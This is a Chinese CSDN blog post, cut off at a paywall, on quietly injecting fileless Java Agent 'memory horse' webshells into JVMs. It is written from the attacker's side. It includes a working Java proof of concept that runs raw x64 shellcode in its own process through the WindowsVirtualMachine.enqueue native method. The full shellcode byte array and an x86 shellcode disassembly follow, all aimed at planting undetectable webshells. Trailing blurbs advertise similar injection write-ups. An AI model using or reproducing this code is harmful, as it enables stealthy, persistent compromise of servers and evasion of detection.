论如何优雅的注入Java Agent内存马

最新推荐文章于 2024-09-05 20:11:00 发布
最新推荐文章于 2024-09-05 20:11:00 发布
阅读量776 收藏 2
点赞数 1
分类专栏： java 程序员 java编程 文章标签： java servlet jvm
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/AS011x/article/details/126424727
版权
本文介绍了如何优雅地利用Java Agent技术实现无文件内存马注入，详细阐述了从构造JPLISAgent到动态修改类的过程，涉及Windows和Linux平台的不同实现策略，最终达到在不落地文件的情况下，安静地完成Java类的热修改，实现内存马的植入。
摘要由CSDN通过智能技术生成

  • • 回顾

  • • 优雅的构造JPLISAgent

    • • Windows平台

    • • Linux平台

    • • 获取JVMTIEnv指针

    • • 组装JPLISAgent

  • • 动态修改类

    • • Windows平台

    • • Linux平台

  • • 植入内存马

  • • 后记

  • • 参考

回顾

  • • 2018年，《利用“进程注入”实现无文件复活 WebShell》一文首次提出memShell（内存马）概念，利用Java Agent技术向JVM内存中植入webshell，并在github上发布memShell项目。项目中对内存马的植入过程比较繁琐，需要三个步骤：

    1. 1. 上传inject.jar到服务器用来枚举jvm并进行植入；

    2. 2. 上传agent.jar到服务器用来承载webshell功能；

    3. 3. 执行系统命令java -jar inject.jar。

  • • 2020年，Behinder（冰蝎） v3.0版本更新中内置了Java内存马注入功能，此次更新利用self attach技术，将植入过程由上文中的3个步骤减少为2个步骤：

    1. 1. 上传agent.jar到服务器用来承载webshell功能；

    2. 2. 冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。

  • • 2021年，Behinder（冰蝎）v3.0 Beta 10版本更新中，实现了内存马防检测（我称他为Anti-Attach技术),可以避免在我们注入内存马之后其他人再注入内存马或者扫描内存马。

作为一个“强迫症患者”，我一直认为上述的植入过程都不够优雅。attacker追求的是微操、无痕，而Agent内存马的植入却要在目标磁盘上落地一个Jar包，这个操作太“脏”了。

当然，在此期间，很多优秀的安全研究者将目标转向了向目标容器中新增各种Java Web组件上，比如新增一个Filter、Servlet、Listener、Spring的Controller等等，这种方式需要引入一些额外的相互引用关系，容易被检测到。而且对目标容器环境有较强的依赖性，不同的组件、不同的容器或者不同的版本，注入方法可能都不一样，通用性较弱。

  • • 2021年，《Java内存攻击技术漫谈》一文，提出了无文件agent植入技术，整个Agent注入的过程不需要在目标磁盘上落地文件，这勉强解决了“脏”的问题。但是该文中介绍的方法存在一个缺陷，那就是获取JPLISAgent的过程不够优雅和安静，会概率性的导致Java进程崩溃，这是不能忍的，于是就有了这篇文章。

优雅的构造JPLISAgent

在《Java内存攻击技术漫谈》一文中，我使用了特征字典+暴力内存搜索的方式来获取Native内存中的JVMTIEnv对象指针，由于ASLR的原因，在搜索过程中，很可能会将非指针数据作为指针来访问，从而触发内存访问异常，OS会直接接管这个异常并结束JVM进程。

如何才能精准的获取JVMTIEnv的指针呢？

获取JVMTIEnv指针

可以利用JNI_GetCreatedJavaVMs函数。游望之在《Linux下内存马进阶植入技术》一文中提到，JavaVM对象中存在一个名为GetEnv的成员函数，如下：

struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus    jint DestroyJavaVM() {
        return functions->DestroyJavaVM(this);
    }
    jint AttachCurrentThread(void **penv, void *args) {
        return functions->AttachCurrentThread(this, penv, args);
    }
    jint DetachCurrentThread() {
        return functions->DetachCurrentThread(this);
    }    jint GetEnv(void **penv, jint version) {
        return functions->GetEnv(this, penv, version);
    }
    jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
        return functions->AttachCurrentThreadAsDaemon(this, penv, args);
    }
#endif
};

怎么样获得JavaVM对象呢？我相信如果是熟悉Java Native开发的同学可能对此并不陌生，在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数，该函数是JVM提供给Java Native开发人员用来在Native层获取VM对象的，因为是开放给开发者使用的，所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。

但是，怎么调用JNI_GetCreatedJavaVMs呢？该函数的规矩用法是需要先开发一个Java的dll动态链接库，然后在Java代码中加载这个dll库，然后再调用dll中的方法。当然这不是我们希望的，如果我们愿意去写个dll上传加载，那还不如直接上传个agent.jar来的方便。

有没有可能不用开发额外的dll文件或者so文件来调用JNI相关的函数呢？有。

Windows平台

在《Java内存攻击技术漫谈》一文中，我提出了一种可以在Windows平台下通过Java向指定进程植入并运行shellcode的方法，当目标进程PID为-1时，即可向自身进程植入并运行shellcode，Poc如下：

import java.lang.reflect.Method;public class RunShellCode   {
    public static void main(String[] args) throws Exception {
        System.loadLibrary("attach");        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
        for (Method m:cls.getDeclaredMethods())
        {
            if (m.getName().equals("enqueue"))
            {
                long hProcess=-1;
                byte shellcode[] = new byte[]   //pop calc.exe x64
                        {
                                (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                                (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                        };                String cmd="load";String pipeName="test";
                m.setAccessible(true);
                Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}});
            }
        }
    }
}

为了避免目标没有WindowsVirtualMachine，自己写一个同名类：

package sun.tools.attach;
import java.io.IOException;public class WindowsVirtualMachine {
    static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException;
}

基于这个方法，我们可以写一段通用的shellcode来动态调用jvm.dll中的JNI_GetCreatedJavaVMs。

这段shellcode的主要工作流程是：

  1. 1. 先获取到当前进程kernel32.dll的基址；

  2. 2. 在kernel32.dll的输出表中，获取GetProcessAddress函数的地址；

  3. 3. 调用GetProcessAddress获取LoadLibraryA函数的地址；

  4. 4. 调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址；

  5. 5. 调用GerProcAddress在jvm.dll中获取JNI_GetCreatedJavaVMs的地址；

  6. 6. 调用JNI_GetCreatedJavaVMs；

  7. 7. 还原现场，安全退出线程，优雅地离开，避免shellcode执行完后进程崩溃。

如下是x86版本的shellcode：

00830000 | 90                       | nop                                     |
00830001 | 90                       | nop                                     |
00830002 | 90                       | nop                                     |
00830003 | 33C9                     | xor ecx,ecx                             |
00830005 | 64:A1 30000000           | mov eax,dword ptr fs:[30]               |
0083000B | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]            |
0083000E | 8B70 14                  | mov esi,dword ptr ds:[eax+14]           |
00830011 | AD                       | lodsd                                   |
00830012 | 96                       | xchg esi,eax                            |
00830013 | AD                       |
最低0.47元/天 解锁文章
油腻的程序猿啊
关注
专栏目录
Java反序列化注入内存马
！
02-09 2579
Java内存马总体有Servlet/Filter/Listern/Java-Agent四种，前三种思路都差不多，通过不同方式获取到ApplicationContext/servletContext/StandardContext等对象，然后往ApplicationContext/servletContext/StandardContext注入恶意的Servlet/Filter/Listern，这里通过注入 Filter实现内存马。 实现一 通过Thread.currentThread().getContex
Spring Cloud gateway 三种方式注入内存马（详细过程）
pyth0zn的博客
04-19 1215
1.提交请求包的时候一定要注意类路径要写正确，我有好几次不成功都是没写对2.最好用java 1.8 编译字节码，兼容性比较好，不然会出现服务器版本和本地编译不一致的情况CVE-2022-22947 注入哥斯拉内存马 – Whwlsfb's Tech BlogSpring Cloud Gateway 注入哥斯拉内存马复现 - 国产大熊猫个人空间 - OSCHINA - 中文开源技术交流社区Spring cloud gateway通过SPEL注入内存马 | 回忆飘如雪。
[Java安全]—Agent内存马
Sentiment的博客
08-17 3996
在JVM中运行中，类是通过classLoader加载.class文件进行生成的。在类加载.class文件生成对应的类对象之前，我们可以通过修改.class文件内容，达到修改类的目的。而在 jdk 1.5之后引入了 java.lang.instrument 包，通过 java.lang.instrument 提供的对字节码进行操作的一系列api，而使用这些api开发出的程序就可以称之为java agent。agent内存马就是利用上述特性修改特定的类或者方法，从而实现恶意方法的注入。Ja...
Java内存马使用
最新发布
mudi13的博客
09-05 1131
对于终端安全：有文件监控、防篡改、EDR；对于后门：有 Webshell 查杀、流量监测；对于网络层面：有防火墙防止反连、反向代理系统隐藏真实 IP；等等。​ 目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上，在部分环境下甚至完全无法落地，防御方可以做到快速应急响应。正因为这些限制，内存马技术得以诞生并快速发展，无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多的师傅青睐，在实战环境中已占得一席之地。
用 Goby 通过反序列化漏洞一键打入内存马【利用篇】_命令执行注入内存马
2401_84931491的博客
05-13 642
在全部配置完成后，点击生成，就可以将生成的反序列化 payload 进行保存了。关于 Gadget、利用方式等相关信息的更多介绍，可以查看我开源项目的 ReadMe 或源代码。
CVE-2022-26134 Confluence 无文件落地的内存马注入姿势
qq_40466372的博客
07-06 5697
CVE-2022-26134 Confluence 无文件落地的内存马注入
Java内存马简单实现
派大星的博客
12-04 2487
Java内存马
如何优雅的注入Java Agent内存马
weixin_62421895的博客
08-19 601
我相信如果是熟悉Java Native开发的同学可能对此并不陌生，在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数，该函数是JVM提供给Java Native开发人员用来在Native层获取VM对象的，因为是开放给开发者使用的，所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。Windows平台和Linux平台下构造JPLISAgent对象的方法，有了JPLISAgent对象，就可以调用Java Agent的所有能力了，当然我们感兴趣的还是类的动态修改功能。.
【网络安全】Agent内存马的自动分析与查杀
HBohan的博客
02-25 1643
前言 出发点是Java Agent内存马的自动分析与查杀，实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个，我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由于LAMBDA表达式导致非法字节码无法分析的问题 如何对字节码进行分析以确定某个类是内存马 背景 对于Java内存马的攻防一直没有停止，是Java安全领域的重点 回顾Tomcat或Spring内存马：Filter和Controller等都需要注册新的组件 针对于需要注册新组件的内存马查杀起来比较容易：
Java Agent踩坑之appendToSystemClassLoaderSearch问题
as12345ss的博客
07-06 224
从Java Agent报错开始，到JVM原理，到glibc线程安全，再到pthread tls，逐步探究Java Agent诡异报错。由于阿里云多个产品都提供了Java Agent给用户使用，在多个Java Agent一起使用的场景下，造成了总体Java Agent耗时增加，各个Agent各自存储，导致内存占用、资源消耗增加。所以我们发起了one-java-agent项目，能够协同各个Java Agent；同时也支持更加高效、方便的字节码注入。其中，各个Java Agent作为one-java-agent的
Java Agent 踩坑之 appendToSystemClassLoaderSearch 问题
阿里云技术
07-15 226
从 Java Agent 报错开始，到 JVM 原理，到 glibc 线程安全，再到 pthread tls，逐步探究 Java Agent 诡异报错。
shiro_attack:shiro反序列化进攻综合利用，包含（回显执行命令注入内存马）
03-11
shiro反序列化进攻综合利用 项目基于javafx，利用shiro反序列化扩展进行回显命令执行以及注入类别内存马 检出唯一密钥（SimplePrincipalCollection）cbc / gcm Tomcat / Springboot回显命令执行 集成公用集合K1 / K2 通过POST请求中defineClass字节码实现注入内存马（Servlet实现参考哥斯拉内存马） resources目录下shiro_keys.txt可扩展键 关于内存马 某些spring环境以jar包启动写shell麻烦 渗透中找目录很烦，经常出现各种写壳浪费时间问题 无落地文件舒服 错误修复 2020.11.08 高低版本base64库不一致，当前使用org.apache.shiro.codec.Base64避免此问题 2020.11.10 修复注入内存马都显示注入成功的错误。 2020.11.23
内存注入工具
07-25
用途很广的内存注入工具用途很广的内存注入工具，一直留着
Java Agent 型内存马调试系列 (二)——反序列化注入agent马
热门推荐
leeezp的博客
10-28 30万+
实战中通过反序列化环境一步到位注入内存马，相比于之前介绍的agent或filter内存马需要上传文件到服务器，反序列化的好处是真正的无文件，只需要发一个包。
Shiro注入内存马
Le1a's Blog
10-21 2076
前段时间学习了在Shell中如何注入Filter型内存马，搞忘了写博客了，这里重新来记录一下过程。这里直接选择用CB链来打，CB链忘记了可以看前面的文章：https://www.le1a.com/posts/a5f4a9e3/
结合反序列化注入tomcat内存马
白帽子凯哥哥的博客
05-24 1152
通过前几个内存马的学习我们可以知道，将内存马写在jsp文件上传并不是传统意义上的内存马注入，jsp文件本质上就是一个servlet，servlet会编译成class文件，也会实现文件落地。借用木头师傅的一张图结合反序列化注入内存马是动态注入内存马的常用方法，然而通过反序列化注入的方式没有jsp文件的request内置类，所以获取回显的方式我们也需要考虑，在此写下这篇文章分析总结反序列化注入的方法细节。读者福利 |CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享（安全链接，放心点击）
[Java安全]—Tomcat反序列化注入回显内存马
Sentiment的博客
12-03 1084
在之前学的tomcat filter、listener、servlet等内存马中，其实并不算真正意义上的内存马，因为Web服务器在编译jsp文件时生成了对应的class文件，因此进行了文件落地。所以本篇主要是针对于反序列化进行内存马注入来达到无文件落地的目的，而的和可以直接获取，但是反序列化的时候却不能，所以回显问题便需要考虑其中。既然无法直接获取request和response变量，所以就需要找一个存储请求信息的变量，根据kingkk师傅的思路，在中找到了： 并且这两个变量是静态的，因此省去了获取对象实例
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值